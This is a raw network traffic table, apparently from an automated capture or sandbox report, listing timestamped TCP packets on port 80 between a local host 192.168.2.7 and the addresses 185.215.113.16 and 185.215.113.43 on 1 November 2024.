Nov 1, 2024 12:13:31.542327881 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.542327881 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.542339087 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542383909 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.542567968 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542581081 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542592049 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542603970 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542607069 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.542617083 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542629004 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542642117 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542656898 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542659044 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.542659044 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.542668104 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542691946 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542705059 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542711973 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.542711973 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.542717934 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542732954 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542736053 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.542743921 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542758942 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542771101 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542772055 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.542810917 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542815924 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.542823076 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542835951 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.542856932 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.542877913 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.543004990 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543068886 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543081045 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543147087 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543158054 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543169975 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543173075 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.543185949 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543234110 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.543246031 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543282986 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.543282986 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.543400049 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543411016 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543422937 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543436050 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543448925 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543462038 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543474913 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543473959 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.543487072 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543493986 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543525934 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543533087 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543533087 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.543539047 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.543540001 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543551922 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543576956 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.543617010 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.543653011 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543665886 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543675900 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543689966 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543701887 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543714046 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543715000 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.543715000 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.543726921 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543740034 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543749094 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.543752909 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.543776035 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.543803930 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.543998957 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544048071 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544059992 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544099092 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.544127941 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544140100 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544153929 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544167042 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544178009 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.544181108 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544198036 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.544218063 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.544239044 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544251919 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544305086 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544307947 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.544318914 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544331074 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544338942 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544369936 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.544435978 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544447899 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544461012 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544472933 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544486046 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544491053 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.544497967 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544524908 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.544540882 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.544614077 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544625044 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544636965 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544651031 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544661999 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.544662952 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544676065 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544688940 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.544740915 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544742107 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.544753075 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544764042 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544778109 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.544802904 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.544833899 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.544998884 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.545011044 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.545022964 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.545064926 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.570053101 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.570065975 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.570122957 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.570152044 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.570171118 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.570204973 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.578011036 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.578025103 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.578036070 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.578095913 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.578111887 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.578154087 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.620609999 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.621794939 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.621838093 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.621851921 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.621937037 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.622056961 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.622121096 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.622239113 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.661791086 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.661811113 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.661823988 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.661829948 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.661843061 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.661854982 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.661875010 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.661879063 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.661887884 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.661901951 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.661916018 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:31.661947012 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.661947012 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:31.714359045 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:32.516082048 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:32.796236992 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:33.790203094 CET	49977	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:33.795239925 CET	80	49977	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:33.795320034 CET	49977	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:33.795434952 CET	49977	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:33.800314903 CET	80	49977	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:34.703681946 CET	80	49977	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:34.703742027 CET	49977	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:36.215154886 CET	49977	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:36.215478897 CET	49978	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:36.220403910 CET	80	49978	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:36.220499992 CET	49978	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:36.220652103 CET	49978	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:36.220782995 CET	80	49977	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:36.220942020 CET	49977	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:36.225759029 CET	80	49978	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:37.140322924 CET	80	49978	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:37.140388012 CET	49978	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:14:37.143872023 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:37.150568962 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:37.150679111 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:37.150794983 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:37.157562017 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.057048082 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.057115078 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.057199955 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.057249069 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.057370901 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.057384014 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.057395935 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.057413101 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.057423115 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.057426929 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.057450056 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.057459116 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.057466984 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.057473898 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.057481050 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.057513952 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.057540894 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.063694000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.063707113 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.063718081 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.063746929 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.063760042 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.212804079 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.212832928 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.212845087 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.212898016 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.212943077 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.212982893 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.213001013 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.213010073 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.213031054 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.213058949 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.213407993 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.213445902 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.213460922 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.213490009 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.213660955 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.213674068 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.213694096 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.213711977 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.213732958 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.214092016 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.214104891 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.214124918 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.214137077 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.214148998 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.214173079 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.214848042 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.214869976 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.214888096 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.214895010 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.214907885 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.214930058 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.214956045 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.215729952 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.215742111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.215754986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.215766907 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.215780973 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.215810061 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.217791080 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.217842102 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.217888117 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.217935085 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.217979908 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.218025923 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.368730068 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.368771076 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.368805885 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.368813992 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.368819952 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.368832111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.368839025 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.368844986 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.368856907 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.368899107 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.368993998 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369007111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369019032 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369051933 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369074106 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369103909 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369117975 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369127989 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369154930 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369182110 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369257927 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369277000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369302034 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369317055 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369342089 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369369984 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369391918 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369409084 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369452953 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369472980 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369483948 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369514942 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369541883 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369581938 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369627953 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369628906 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369641066 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369668961 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369673014 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369690895 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369712114 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369837999 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369858980 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369872093 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369883060 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369899035 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369909048 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.369956017 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369970083 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369983912 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.369997025 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.370003939 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.370012045 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.370033979 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.370052099 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.370385885 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.370398998 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.370410919 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.370436907 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.370464087 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.370517015 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.370564938 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.370584965 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.370603085 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.370616913 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.370628119 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.370630026 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.370647907 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.370676041 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.374532938 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.374588013 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.374613047 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.374645948 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.374689102 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.374736071 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.374742031 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.374762058 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.374777079 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.374778032 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.374795914 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.374799967 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.374810934 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.374813080 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.374830961 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.374833107 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.374849081 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.374861956 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.374861956 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.374867916 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.374885082 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.374891043 CET	49979	80	192.168.2.7	185.215.113.16
